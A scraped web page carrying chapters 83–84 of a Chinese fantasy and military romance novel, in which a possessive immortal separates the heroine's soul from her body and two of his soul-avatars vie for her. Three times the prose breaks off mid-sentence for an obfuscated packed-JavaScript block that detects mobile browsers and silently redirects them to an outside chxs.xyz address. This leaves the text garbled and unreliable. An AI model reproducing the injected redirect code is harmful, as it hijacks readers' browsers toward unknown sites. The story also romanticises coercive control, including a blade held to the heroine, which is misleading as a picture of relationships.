;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14234899|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林北柔还以为自己穿越了,开口后嗓子沙哑得不行:“……你怎么在这里,这里是哪里啊?” 周阆屿在她后面放了个竖起的枕头,让她好坐起来:“别急,我慢慢给你说。” 林北柔漱了漱口,才喝完一杯水。 等她喝完水,周阆屿才开口:“这里是禁区入口附近,我们在同盟伙伴的国境内,不在本土,你睡了差不多五天,全球爆发了一次灵脉冲击,导致禁区开放提前,预计时间是明天晚上零点。” 林北柔惊呆了:“什么?!” 周阆屿按住她:“别激动,你救回了荀照乘和魏瑕他们,自己修为透支太过,进入了一种周天循环境界,庞将军说是你的元神在升级,她让任何人不能叫醒你,只能等你自然苏醒。” 林北柔:“可是训练怎么办?” 周阆屿面无表情:“现在别管训练了,那个东西现在不重要了。” 林北柔:“那他们呢?司……魏瑕,荀照乘还有新垣鑫呢。” 周阆屿无言以对:“除了魏瑕,怎么又谈了其他两个?” 林北柔就知道,恼羞成怒扶额:“不是你想的那样!” 周阆屿:“不跟你开玩笑了,他们三个都不在,去执行保密任务了,明天之前会回来。” 林北柔:“那现在是什么情况?” 周阆屿:“你元神在升级,魏瑕不能和你元神共连,帮你和灵脉共鸣,所以总司令他们按照第二套方案进行了行动部署,具体细节保密,进入禁区后,魏瑕有绝对指挥权。” 周阆屿:“他跟庞将军和总司令他们证实了,骊龙珠把他的记忆传给了你,你是唯一的活地图,现在你是第一重点保护对象,找到灵脉底层太初灵核的位置,要靠你。” 说完了正事,周阆屿才进入个人重点,关心地看着林北柔:“我去给你弄点吃的,这些天只能给你打营养剂,喂点葡萄糖,你肯定饿了。” 天赋会改变编号者的体质,让他们可以进入辟谷状态,不过林北柔还是感觉很饿,能吃下一份全家桶。 林北柔:“我想吃炸鸡。” 周阆屿面无表情:“现在是作战状态,没有炸鸡,周围都是模块化营房,还有野战部队,不要当这是在春游。” 林北柔瞪着他,就像平时在家,林子倩不答应她要求时一样。 周阆屿和她对视五秒,败下阵来:“我去看看厨房有什么熟食,你刚醒,不能吃太油腻太硬的。” 外面传来了动静,有人在外面喊周阆屿,报告营地外面车队来送补给品了,周阆屿拍了拍林北柔的毛毯,顺手呼啦了下她的头发,出去了。 林北柔看着他的背影,这才意识到周阆屿身上穿的也是作战服,现在事态真的升级到和战争无异了。 一场会在禁区发生的,硝烟传达不到外面的战争,一旦输掉,外面的世界就会崩盘。 周阆屿回来后,给林北柔带了吃的,林北柔一边吃东西,一边跟周阆屿聊天。 这个帐篷居然是她的专属,配套一应俱全,门口就有专人守卫,非授权不能擅入。 营地外,有同盟军的部队在附近,随时可以支援。 周阆屿:“可惜你不能出去,这里是荒野,远离城市,外面星星很漂亮。” 林北柔眨了眨眼:“我为什么不能出去?” 周阆屿:“敌方有卫星,可以监视到你,虽然他们也不敢对你怎么样就是了,一切进了禁区才知道。” 天很快黑了,电子钟显示此时是晚上十点二十,周阆屿去隔壁营房休息了,林北柔睡不着,这里也没有手机,灯光暖黄,她发现架子上有几本书,随手翻了一本拿起来看,结果发现是技术指南类书籍,什么法器说明,林北柔看不太懂,只能生啃。 过了一个小时,林北柔揉了揉眼睛,没有困意,她忍不住去想司空晏现在在哪里,他想起来了吗,还有荀照乘和新垣鑫怎么办。 还有司空晏的精神体,那只可以变成兔团的龙灵,不知道它现在怎么样了,应该是跟着司空晏吧,林北柔还挺想念它软乎乎圆滚滚毛茸茸体温很高的手感。 林北柔不记得她在司空晏和荀照乘的心识世界里看到了什么。 她只有种模糊的感觉,像在无所事事的午后睡了一觉,醒来阳光还在。 远处传来了声响,似乎是有人在说话,在传递消息,然后是脚步声,沉重的靴子踩在坚实的沙地上,朝这边而来,步伐有种不加遮掩的急迫。 林北柔心跳快了几分,不管来的是三个人中的哪一个,她都意识到,对方就是司空晏。 整个胜身洲除了那些太古时期早已飞升的逆天大能,找不到第二个人敢把自己炼化出两个元神分体。 林北柔心跳如雷,坐在椅子上一动不动地等待着,脊背挺直,目光直直望向营房门口,下一秒,门把手发出扭动声,门被推开了,一个比门还高的身影出现在灯光下,低头推门直接进来了,抬头的瞬间,目光就早有预期一样落在了林北柔身上,眼睛深深地看着她。 司空晏。 林北柔胸腔的心跳声在耳膜轰鸣,血管的流动声放大到极点。 “你终于醒了。”祖宗用很低柔很正常的语气说,眼睛始终没有眨一下,没有离开过她。 83. 第 83 章 林北柔不知道司空晏现在是什么情况,他是想起了一切,还是依然失忆,她不敢开口,就像生怕惊醒了他,只能坐在行军床上,手不自觉抓紧了毛毯。 司空晏走了进来,关上了营房的门,暖黄的空间只剩下他们二人。 他走到周阆屿刚才坐过的椅子上,拉过椅子坐了下来,目光闪烁,看着林北柔:“你感觉怎么样。” 林北柔感觉很混乱,她判断不出眼前之人是司空晏还是魏瑕,是阴间祖宗还是道心本相。 林北柔:“你——” 她咽了咽嗓子,还是忍不住了:“你现在到底是谁?你记得我吗?” 司空晏:“你说呢,林北柔。” 无比熟悉的语调,凉冰冰的,有点阴柔,碎冰层下是熔炉之心一样炙烫的情感。 林北柔刹那明白了,眼前这个人,他什么都想起来了,他现在正是如假包换的司空晏。 三百多年的时光横亘在他们之间,在暖黄的夜灯下,悄然滋长蔓延,昨天今天和明天,就像一盘颜料打翻在了水池中,将清水染得五彩斑斓,每一缕色彩,都闪烁着只有他们才心知肚明的秘密。 林北柔想说什么,语言却显得过于苍白无力,喉咙仿佛被什么汹涌的东西堵成肿块。 对不起。 这是她最想说的,还有…… “这些年,我很想你,”司空晏开了口,嗓音低沉,前所未有地轻柔,“你怎么现在才来,林北柔。” 林北柔微微睁大眼睛。 他把她的话都说出来了。 林北柔记不清她在司空晏心识世界经历了什么,感觉却积淀保留在了心田,那些情感像积蓄的温泉,不顾她意志地回应了司空晏的话,和司空晏说出的每个字共鸣着。 她尴尬地低下头,不想让司空晏发现她眼角的异样。 不一样的气氛在他们之间流淌,没有清算总账,没有让人恐怖的威压,祖宗近乎可以说温柔,让林北柔迷惑又不解。 猝然间,一丝闪电般鞭打的疼痛侵袭了林北柔全身,她低叫一声,根本控制不住,颤抖着倒在了床上,身体轻轻抽搐,表情痛苦扭曲,根本说不出话来。 司空晏在第一时间就抱起了她,像抱小婴儿或者动物幼崽一样,将她完全纳入怀中,一只手臂横过她肩背,一只手臂揽住她的膝盖,熟悉的灵力笼罩下来,流淌在林北柔全身,像一件大氅,将她从头顶裹到脚心,闻起来是云顶峰的味道,松枝和腊梅上的霜雪,泠泠的流泉,灵木焚烧后余烬的暖香味,带一丝辛辣。 林北柔的疼痛瞬间缓解,快到她以为刚刚其实是幻痛。 林北柔一脸懵比:“我刚刚怎么了?” 她窝在司空晏怀里,他的体型比她大很多,给她提供了宽阔的胸膛,她可以让自己全身重量靠在上面,而司空晏却不会觉得沉,好像她没有什么分量,这种感觉很舒服,身体比她先沉溺,尽管林北柔想坐起来,身体却一动不动,是数百年的惯性。 司空晏的声音在她头顶响起:“你还记得你和天道签了契约吗。” 林北柔:“和那个有关系吗?” 司空晏:“越靠近灵脉,契约的效力就越强,天道会时不时提醒你,不要违约,这是一种警告,刻在你的身体里。” 林北柔:“……” 司空晏:“怕了?” 他的声音听不出嘲讽,反而有很多晦涩难辨的其他含义,林北柔或许明白,只是当下不愿面对,她的情感不允许她再负荷太多。 林北柔实话实说:“这是我自己选的,怕也没办法。” 她脸上闷闷的,接下去这阴间祖宗是不是要骂她了?早知今日,何必当初。 司空晏:“没关系,我知道你当初没有选择的余地。” 林北柔没有想到司空晏会这么说,简直让她怀疑他被夺舍了。 司空晏静静地说:“如果你进入禁区,发生了意外,履行不了契约,天道会销毁你。” 刹那间,林北柔恍然大悟。 她总算明白了为什么司空晏会对自己这么温柔了,防备心不知不觉冰消雪融,祖宗这是觉得她要死了,人之将死其言也善,等等,这个成语好像不是这么用的。 司空晏:“你想出去看星星吗。” 怎么一个两个都叫她出去看星星,难道今天星星特别好看? 林北柔有点好奇了:“周阆屿说,我不能出去。” 司空晏:“他说不算。” 他将林北柔连同毯子一起裹起来,抱在怀里,一个闪现,就出现在了营房很远的野外,林北柔骤然间就沐浴在了漫天星辉之下。 司空晏站在了一个山丘上,盘膝坐下,林北柔靠在他肩膀上,他体温很高,像个大火炉,隔着毯子传过来,就算夜晚空气很冷,林北柔也一点都不冷。 浩瀚无垠的星河在头顶倒悬,像半透明的纱流过无尽夜空,将夜空分成两边世界,说不上的飘逸。 林北柔看得有些呆,荒野上的星空无比美丽,让她想起了胜身洲,每一天每一时刻都梦幻都是真实。 现在,梦醒了。 司空晏的耳语声有些沙哑,贴着她耳朵,很轻很温柔,就像睡前躺在床上望着对方时说话的那种音量。 “别哭。” 林北柔本来在隐忍,他这两个字一出,眼泪反而争先恐后大颗大颗涌出,她只能缩紧喉咙,不让呼吸声走调,不让司空晏听见。 司空晏把她往上抱了抱,倾下身低下头,脸颊挨蹭过她的脸颊,热度一直辐射到她心脏。 他的双臂环绕过她肋骨,让她紧贴在坚实的臂弯和胸膛组成的安全港中。 “……记得我说过什么吗,如果你离开我,我就把你的元神和肉身分离,现在时候到了。” 司空晏说完这句话,林北柔还沉浸在感伤的气氛中,一时没反应过来。 林北柔结结巴巴:“等等,什么意思?” 温情脉脉的气氛急转直下。 她眼泪还没干,就突如其来遭受到了惊吓,司空晏轻轻笑了一声,笑声甜蜜得让她心脏地震。 “真舍不得,我想留住这一刻。”司空晏说。 林北柔不详的预感更强了,这祖宗在说什么,他舍不得什么? 司空晏抬起手,指尖出现了小小的漩涡,金刚白的光晕,灵光闪烁,就像高速旋转的齿轮切刀。 林北柔:“……” 她认得这个,这是司空晏的独门绝技,没有名字,林北柔随口叫它波刃切刀。 他用星天神伶术制造神伶时,就经常用这种比任何武器都锋利的灵气切刀,就像一个手艺大师用得最趁手的经年工具,可以切断胜身洲一切神兵利器,除了司空晏自己的碎虚心剑。 林北柔曾无数次坐在旁边,看着司空晏如何切割并雕琢那些神伶的素胚。 波刃切刀在切割素胚时,会荡漾出水波一样的光,反射到天花板和梁柱上,很清凉,很水灵。 她从一开始的满怀兴趣,还有一丝丝对艺术家的崇敬,到无聊地偷偷抓路过的毛茸茸熊蜂玩,没办法,司空晏每次都要她陪着,时间一久,再艺术的过程重复千百遍,就变得很枯燥了。 林北柔从来没有想过,司空晏有一天会把这把波刃切刀用在她自己身上。 司空晏:“不要怕,不会疼的,切开之后,你就可以待在我的元神心府,天道找不到你,你会很安全。” 语气很温柔,内容很恐怖。 林北柔满心吐槽连着全身鸡皮疙瘩都要爆炸了,一时间不知道从何吐槽起,她就知道不能高估这阴间祖宗!刚才还在很感动,怎么下一秒就从浪漫爱情片变成了惊声尖叫恐怖片! 波刃切刀迎着璀璨星光,就在离她眼睛不到十五厘米的地方,也就一把文具尺的距离。 林北柔一动不敢动,冷汗顺着后背流,大脑就像被冰水泼过一样清醒:“祖宗,你冷静点,这并不能解决问题。” 司空晏对她的话充耳不闻,手臂和胸膛形成天然牢笼,禁锢住她,连长腿也屈起,困住了林北柔的脚踝,让她不得不蜷缩在他怀里。 “我会陪你的,你不是喜欢另外那两个元神分体吗,我把他们也切了,把他们放进来陪你。” 林北柔:“……” 这是什么情况她要窒息了这祖宗今天是真的疯了吧早知道就不该把他叫醒了,醒了怎么比走火入魔了还疯! 林北柔颤抖着说:“你,你冷静点,那个,荀照乘和新垣鑫呢?”她生怕祖宗已经对他们两个出手了,这和自残有什么区别! 司空晏语气幽幽的,呼吸灼烫,烫得她整个耳廓都红了,像烈日下晒透的高温细沙窸窸窣窣从指缝漏下,堆积在她耳后和脖子肩膀。 “你还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14267543|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的很关心他们啊,我真的很不喜欢这样。”他轻柔语气下潜台词的危险,让她感官的酥麻混入了精神上的紧张,冰火两重天。 林北柔忍住强烈的痒意:“他们难道不是你自己吗?” 司空晏:“是又如何,我讨厌任何在我面前跟我争你的人,敢跟我争,就都杀了。” 听听你在说什么疯话,林北柔感觉自己不能用正常人思维和司空晏交流了,她现在这个情况,不就是标准的被绑架劫持了吗?周阆屿早就睡下了,根本不知道她被司空晏带到了这里。 她被从亲人身边带走,而他是她的前任,因爱生恨,标准的发展。 司空晏:“好了,不要用你那些调皮的小手段跟我玩捉迷藏了,以前在胜身洲也是,什么事情你不愿意做,就这样转移话题兜圈子……”他用一种十分溺爱自家孩子的语气如是说。 林北柔:被看穿了,怎么这么费劲。 林北柔绞尽脑汁打算自救:“可是,没有身体,岂不是不能和你做一些有身体才能做的事情了?” 司空晏停顿了一下,似乎注意力成功被吸引了:“比如?” 林北柔忍住羞耻大胆邀请:“比如,拥抱,亲亲,贴贴。” 司空晏沉默了,过了两秒,用微妙又温柔的语气问:“你现在是在求欢?” 求你个大头鬼啊!林北柔咬牙微笑,真想转身一巴掌盖他脑袋上,但她不敢,她都不知道司空晏会不会被她这个美人计打动。 司空晏:“没了身体,一样可以做这些,既然你问了,那好吧,不过为了防止你耍花招,你不能动,否则我就用你最喜欢的波刃切刀,直接把你可爱的元神切割出来,这样你就哪里也去不了,再也不会离开我了。” 林北柔发出一声控制不住的倒吸气,司空晏就像玩蝴蝶刀一样,让波刃切刀在他指尖旋转,林北柔在心里骂,这玩意怎么不把他手指切两根下来,只可惜波刃切刀在司空晏指尖温顺得跟小学生玩的萝卜刀一样。 司空晏:“不要发出那么可爱的声音,否则我会忍不住的。” 他指尖拨了下刀刃,刀刃停止旋转,冰冰凉凉地贴在了林北柔皮肤上,像一个玩笑,顺着她最脆弱的脖子滑下去,到锁骨可以放硬币的那个地方,翻转了下,往下延伸。 林北柔没有受到任何实质上伤害,仅仅是感觉一片薄冰在脆弱皮肤上游走,像个可爱的生物,充满了司空晏本人的意志,然而林北柔深深明白,只要司空晏稍微动念,薄冰就会让她流血,它和她皮肤下的血管仅仅有毫厘之遥。 游丝一样危险,却由司空晏绝对掌控,这种人身性命被支配的感觉,完全被排除自己动脑和做决定,只需要随波逐流就好的感觉,说不上对错,熟悉又让人头皮发麻,还牵引出隐秘的不可说的感觉,那是三百多年来身体形成的条件反射和习惯。 薄冰贴到心脏部位时,林北柔屏住了呼吸,那里是元神心府的入口,司空晏的手悬停住了,林北柔以为他在思考,谁知下一秒,他突然扳过林北柔的下巴,嘴唇压到了她唇上,带着不容抗拒的魄力,分开了她的唇瓣,往里深入,林北柔尝到了薄荷和松柏的气息,舌头被压住,勾缠,然后晕晕乎乎,被描述不出又侵袭全身的感官海浪淹没到缝隙。 水修复了每一处破碎和开裂。 这一吻很久,大概有十分钟,林北柔忘了身在何方,全身每个细胞都充分放松了,身体被司空晏结实的怀抱接住,灵魂在无尽自由落体,落进了流淌闪光的星河,在永无止境的时间之海航行,由司空晏化身的水流带走,不用担心迷路,不用担心触礁。 薄冰切入了她的皮肤,像裁信刀切入融化的奶油,没有一点痛楚,反而有点舒服。 不是一般的舒服。 魂魄被肉身拘束了太久,骤然没有了桎梏,那种解脱感,就像上了一整天班,回到家,甩掉带跟的鞋子,松开内衣的扣子一样,如果这就是死亡,那死亡真是甜美的刑期句号。 光明的,温暖的,像回到家一样,被最爱的人抱着助眠。 林北柔的元神泛起光点,如晨曦下波光粼粼的三月嫩湖,星河垂落来自太初的微风,荒野上荡起了古老的鲸歌,地心深处即是从未被发现的外宇宙,层峦叠嶂,仙雾不知,和林北柔的心脏节奏一下一下重叠的,是灵脉之心的鲜活泵动。 她和灵脉发生了共鸣,她的境界升华了。 84. 第 84 章 林北柔模模糊糊醒了过来,大脑记起了失去意识前发生的事。 她几乎忘了呼吸,整个人要疯掉了。 祖宗把她身体和元神分离了吗?老天奶!她现在成了一坨史莱姆还是幽灵了? 但是她还能看见。 视野前方是营房天花板,她慢慢感知到了身体的存在,她躺在床铺上。 “你醒了?都过了中午一点了,怎么都叫不醒你。” 周阆屿的声音在旁边响起,听上去很担忧,像是一直守在她旁边。 林北柔扭过头,看见了周阆屿的脸,她坐了起来,脸上梦游一样。 周阆屿:“你怎么了?” 林北柔以为自己做了个梦,但梦境太真实了,她昨天明明被司空晏劫走了,他还用波刃切刀在她身上贴来贴去的,最后切进了她的心脉轮,她心脏的位置,像切融化的奶油蛋糕一样。 残酷又温柔。 周阆屿看她脸色不对,恍恍惚惚的,立即起身要去叫军医,林北柔抬手抓住了他手腕,咽了咽嗓子。 “……魏瑕来过吗?” 周阆屿有点诧异:“他还在任务区,不知道什么时候回来。” 林北柔:“……”难道昨天晚上真的是梦? 外面传来喧哗,周阆屿出去查看,勤务员过来通知,声音大到林北柔在里面也听见了。 “荀少校,新垣少校回来了。” 林北柔瞬间僵了一下,然后快速下了榻,对着镜子随便收拾了一下,漱口喝水,没等她准备好,营房门就被推开了,两个高大人影旋风一样一前一后卷进来,本来不算小的营房顿时拥挤不堪。 周阆屿跟在后面,皱着眉,显然对他们十分厌烦反感:“出去,林北柔需要休息!” 林北柔站在原地,看着荀照乘和新垣鑫。 他们看上去是执行完任务,没有停留没有休息,直奔她这里来的,全身风尘仆仆,衣服和鞋子都有些脏,还有可疑的血迹,身上有金属和火药的气息,还戴着头盔和面罩,都站在一米开外,望着她。 不相似的面容,相似的眼神,底下是同一个元神分离出去的存在。 林北柔惊疑不定,他们看着她的眼神,和之前哪里有点不一样,他们干嘛这样看着她? 是过去的记忆恢复了,还是司空晏遥感操纵了他们? 荀照乘上前一步:“你感觉怎么样,没事吧?” 林北柔摇摇头:“没事……你们还好吗?” 荀照乘点点头:“任务提前完成了。” 新垣鑫在旁边很安静,让人觉得很不正常,他不是那种内敛的性格,基本上有话直说,但他却在旁边看着林北柔,什么都没有说,眼睛里流露出奇怪的挣扎。 林北柔:“你们干嘛这么看着我?这样真的很吓人?” 她开始感觉不对劲了。 周阆屿立马打断了他们,把两个高大军士赶了出去,周阆屿也很高,但没有他们那么高,加上不是前线战斗人员,天赋也不是进攻型,按道理,周阆屿即使是编号者,对他们也构不成威慑性。 但这两个人却沉默地听任周阆屿指挥,以林北柔的休息为优先,慢慢走了出去。 出去之前,荀照乘和新垣鑫的目光都在她脸上流连不去,那眼神让林北柔头皮热热的,脸颊烫烫的,后背却有点发凉。 他们到底什么意思? 只剩周阆屿一个人的时候,林北柔直接问:“他们怎么了,为什么要用那种我明天要死了的表情看着我?” 周阆屿:“别乱说!” 林北柔愕然看着他,他反应也不正常,周阆屿自知失态,立马闭紧嘴,垂下眼睛,林北柔看见他眼圈有些发红,清理过了,不让人看出痕迹,胸口起伏暴露了他的情绪。 林北柔慢慢说:“我真的要死了?说实话,不说话我会生气,周阆屿。” 周阆屿嘴唇动了动,林北柔等着他,不耐烦红温上升。 周阆屿:“我——” 林北柔焦躁:“你什么呢,快点说啊!” 话音刚落,一阵剧烈的奇怪抽离感蔓延过她全身,林北柔茫然睁着眼,软软地倒了下去,大脑甚至没意识到这是怎么一回事,她视野横过九十度,撞到地上,只能看见周阆屿扑过来抱起她,看到荀照乘和新垣鑫先后冲了进来,就像他们根本没走,一直守在门口一样。 这种奇怪的抽离感…… 好像她不在她身体里了,她进入了天空和大地,一切感情牵系都变得无足轻重,周阆屿是谁,不重要,家人朋友,都变得和地上的沙砾无异,她自己是谁也无关要紧,她不是谁,她不是林北柔这个名字。 那些人和事,好像很陌生,很遥远,人的一切让她厌乏。 她是谁? 林北柔看到荀照乘和新垣鑫的脸在眼前晃,眼睛却没有焦点,像是看进了虚空中,身体软软的没有力量,像任人摆布的布娃娃。 周阆屿快速找到了箱子里的一管针剂,走过来俯下身稳准狠打在了林北柔手臂上,过了几秒钟,林北柔开始发抖,紧接着呛咳起来,溺水一样呼吸着,所有感官和感觉回流,像是堵塞后的泄洪,差点淹没她。 直到她被两双手接了过去,上身躺在荀照乘胸膛,腿放在了新垣鑫大腿上,被他们两个人牢牢抱住,她才感觉到好像降落在了地上,找到了重力和实心感。 刚刚,她好像变成了一个空心之人。 林北柔虚弱又恼火地发懵:“我刚刚怎么了……好奇怪的感觉……” 她好像被什么看不见的巨大存在攻击了一样,让她愤怒又害怕。 周阆屿蹲在她面前,握住她的手,有那么几秒仿佛说不出话,所有语言都堵在喉咙,旋即他深深吸了口气,平定下所有情绪,他必须在林北柔面前保持冷静,他是她能依靠的血亲。 周阆屿:“地下灵脉每共振一次,编号者都有概率会发作,这是一种未知的抽离症状,你的天赋和其他人都不一样,发作的概率最高。” 林北柔:“什么意思……我活不长了?” 周阆屿听不得她这么说:“你活得好好的!到时候我们会进入禁区,重启灵脉,问题就解决了,不是什么大事。” 林北柔觉得事情没那么简单,不然他为什么哭过。她简直不能想象周阆屿会哭。 周阆屿让她好好休息,不肯告诉她其他的,很快外面有人找他,周阆屿出去了,林北柔依然躺在荀照乘和新垣鑫怀里,一时间竟然没发现这个姿势哪里不对劲,她太虚软了,根本没什么力气。 他们就像两张人·肉沙发,稳稳当当地让她躺着。 林北柔:“到底怎么回事,刚刚周阆屿给我打的是什么东西?” 荀照乘:“一种可以缓解你发作的特效药。” 林北柔微微游戏不耐烦:“这不是什么都没说吗,新垣少校,你来说?” 自从知道他们的真实身份,她对他们的距离感就消失了,对她来说,他们是荀照乘和新垣鑫,也是司空晏,林北柔懒得去分辨。 新垣鑫早就忍不下去了,他对上林北柔的眼睛,直接开口:“禁区底下的灵脉,在抽吸你的生命力。” 林北柔怔住了:“然后呢?” 新垣鑫:“每次发作,都会抽走你的生命力,如果不快点重启灵脉,你会死。” 林北柔:“那周阆屿为什么好像天塌了一样?我不是还没死吗?” 新垣鑫:“被抽吸生命力的编号者,没办法和灵脉共鸣,这个消息只有很少人知道。” 林北柔渐渐明白过来了,这是个死循环,他们觉得她没救了,所以才都用那种眼神看着她。 等等……和灵脉共鸣? 她记得昨天那个梦里,她确实和灵脉共鸣了,就在司空晏分离了她的身体和元神之后。 林北柔张了张口,没有说,直觉告诉她,暂时不要说。 新垣鑫以为她被吓到了,主动握住了她的手,林北柔这才发现自己的手很凉,而新垣鑫的掌心粗糙而温暖,把她的手完全包覆,她可以感觉他被武器磨出茧子的关节。 “别怕。”新垣鑫有点后悔刚才说太直白了,“进了禁区,我保证灵脉会重启,你会没事的。” 荀照乘扶着林北柔的肩膀,林北柔的脑袋向后靠在他胸膛上,他的手指被她的长发埋住,他低头望着新垣鑫握住林北柔手的手,新垣鑫另一只手还放在林北柔膝盖上。 荀照乘慢慢地说:“她现在需要休息,你不该跟她说这些。” 林北柔有点吃惊,荀照乘这种调子偏冷的语气很少见,瞬间就接近司空晏了。 他和新垣鑫关系说不上多好,也还算将就,而且荀照乘不是那种会因为情绪而怼人的类型。 新垣鑫尽管和他一起抱着林北柔,态度却分毫不让,呛了回去:“那你怎么还不松开,让她去床上休息。” 林北柔:“……” 怎么回事,这两个关系怎么好像变糟糕了,发生了什么她不知道的? 荀照乘:“你松开,我自然可以抱人上床休息了。” 新垣鑫冷笑:“怎么不是你松开?” 林北柔懵了,这什么小学生吵架现场,她挣扎了一下,拉回他们注意力:“我饿了,我要吃东西……” 荀照乘对她说话时,语气就回到了平等状态:“你现在走不动,打完针剂要休息五分钟。” 林北柔只好继续躺在两个人身上,闭上眼睛不管这烂摊子。 她不知道自己看起来脸色苍白又很脆弱,两个大男人看着她的样子,都不说话了,也不再眼神交流,隐隐约约的修罗场气息弥漫在空气中。 之后的十个小时,林北柔发现他们真的互相不理睬对方,当对方是空气。 林北柔怀疑他们各自恢复了记忆,但找不到证据。 林北柔含蓄暗示:“荀少校,你是不是想起了什么?” 荀照乘看着她:“没有,你去休息,待会就要进禁区了。” 外面的营地气氛开始紧张,很多人员开始进出,林北柔看到了很多外国面孔,都是同盟军的人,他们的负责人跟营地负责人交流,双方十多个决策层在战术会议室里,确认最后的步骤,让计划万无一失,荀照乘和周阆屿也去了。 新垣鑫没有,他留下来陪她。 暮色已晚,西天残余深沉的暗紫长红,远景没入黑暗。 林北柔在她的专属营房等待着出发。 “别紧张,我们从头到尾都会陪着你的。”新垣鑫在旁边说。 林北柔看向他,新垣鑫的眼睛一如既往坦然,没有那么多读不透,不太像司空晏。 林北柔出其不意搞了个突击:“你是不是想起了什么?” 她紧紧盯着新垣鑫,想看他反应,新垣鑫反应很自然,他怔了怔,不解地问:“想起了什么?” 他的微表情完全经得起任何检验,林北柔的直觉也没有告诉她哪里不对。 林北柔看不出可疑之处,又不敢直接问,怕触发到什么不该触发的点,万一司空晏突然附身了怎么办。 新垣鑫:“你应该睡一会儿,还有四个多小时,保存体力。” 林北柔:“你都不去外面和其他人一起吗?你的任务呢?” 新垣鑫:“我的任务就是看护你,你现在是最高优先级别。” 林北柔:“魏瑕呢?他不是和你们一起去执行任务了吗,怎么他没有回来?” 新垣鑫表情变得冷漠了一丢丢,不是针对林北柔,是针对魏瑕的:“不知道,他的任务和我们不一样,我们分别完成自己的部分。” 林北柔皱眉观察着他,想榨取更多信息,新垣鑫却很快转移了话题:“睡会儿吧,针剂有副作用,硬撑着对身体不好。” 林北柔无事可做,因为白天那次发作,加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14362020|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上针剂影响,精神上莫名困倦,很快就躺回了床上,新垣鑫在她床铺前盘膝坐下,就像个守护主人的高大猎犬,还帮她把被子掖了进去,让她好好地被包裹起来。 林北柔感觉很温暖,她面朝新垣鑫这边,眼睛被被子边缘恰到好处地遮挡住,昏暗的光线和暖呼呼的温度,让她身体松弛下来,大脑很快进入一种听不见外界动静的状态。 她的膝盖不自觉地动了动,舒适地交叠,把被子拱出了一个形状,新垣鑫先前掖好的被子漏了出来。 “还是喜欢踢被子……”新垣鑫叹了口气。 他把被子又塞了回去,目不转睛地盯着林北柔,犹豫地靠近,呼吸轻轻的,生怕惊扰了她的梦,嘴唇离她的额头很近,睫毛眨了又眨,像是悬而不决,很笨拙,因为从来没做过这些。 营房门被推开了,一个高大人影出现,如果不看脸,只看身形体格,和新垣鑫像得有点照镜子的恐怖感。 荀照乘冷漠地说:“出去,别打扰她了。” 新垣鑫没有说话,他的姿势一动不动地保持了几秒,占有欲挑衅欲嫉妒,还有理性在大脑里混成一片打架,然后起身出了营房。 他知道关于林北柔的事,他会为了林北柔的利益选择保持理智,但不知道会保持多久,他知道荀照乘也一样。 荀照乘没有发作,他抱起手臂看向新垣鑫。 新垣鑫:“林北柔……她是平民,她没有接受过训练,她没有宣誓过,这些责任不该落在她身上。” 荀照乘:“她是四号。” 新垣鑫:“你想说什么?” 荀照乘:“我们一直这样,接受任务,执行任务,不问为什么,不管背后的博弈,我们是执行层,不是决策层,我们不是世家出身,魏瑕有的,我们没有。” 新垣鑫呼吸粗重了起来:“你要看着林北柔去死吗?” 荀照乘:“所以,你有选择另一条路的决心吗?” 新垣鑫看着他:“就是魏瑕说的另一条路,你信他?” 荀照乘:“起码他不会害林北柔,我在元神里看到了。” 新垣鑫很烦躁,他不记得心识世界里发生过什么,那之后,荀照乘似乎记得一些,对他有所隐瞒。 新垣鑫:“那你下定决心了?为了林北柔,你什么都能舍得?” 荀照乘:“她在基地救我那次,我就下定决心了。” 新垣鑫:“行动之后,我们会被通缉,全域通缉。” 荀照乘:“太微垣已经被渗透了,和我们一起进禁区的人里面藏着鬼。” 新垣鑫深深吸了口气:“我搞不懂那些,我只是个大老粗,一个当兵的。” 荀照乘用一种晦涩难辨的眼神瞥了他一眼,就好像他是个什么扮猪吃老虎的情敌,新垣鑫很不爽,他觉得荀照乘似乎提前知道了一些他不知道的事情,但他绝对不会直接向荀照乘承认他对林北柔的感情。 那是一种不受理性控制的感情,汹涌直白,好像曾经发生过很多次,许多个有生之年,生生世世。 这真是太操蛋地奇怪了。新垣鑫内心发出咒骂。 特别是最近,荀照乘好像看穿了他一样,经常冷不丁隐晦地毒舌一句,让他十分尴尬难堪。 好像他是个偷偷喜欢上朋友的女朋友的人,一个假装阳光坦率实际上内心在想些无耻之事的混账。 荀照乘收回眼神,从毒舌状态切换回了准备作战的军士状态,懒得再多说:“我就当你同意了,接下去那就等。” 他们一左一右站在林北柔营房外,就像两尊隐没在夜色中看守冥殿的修普诺斯。 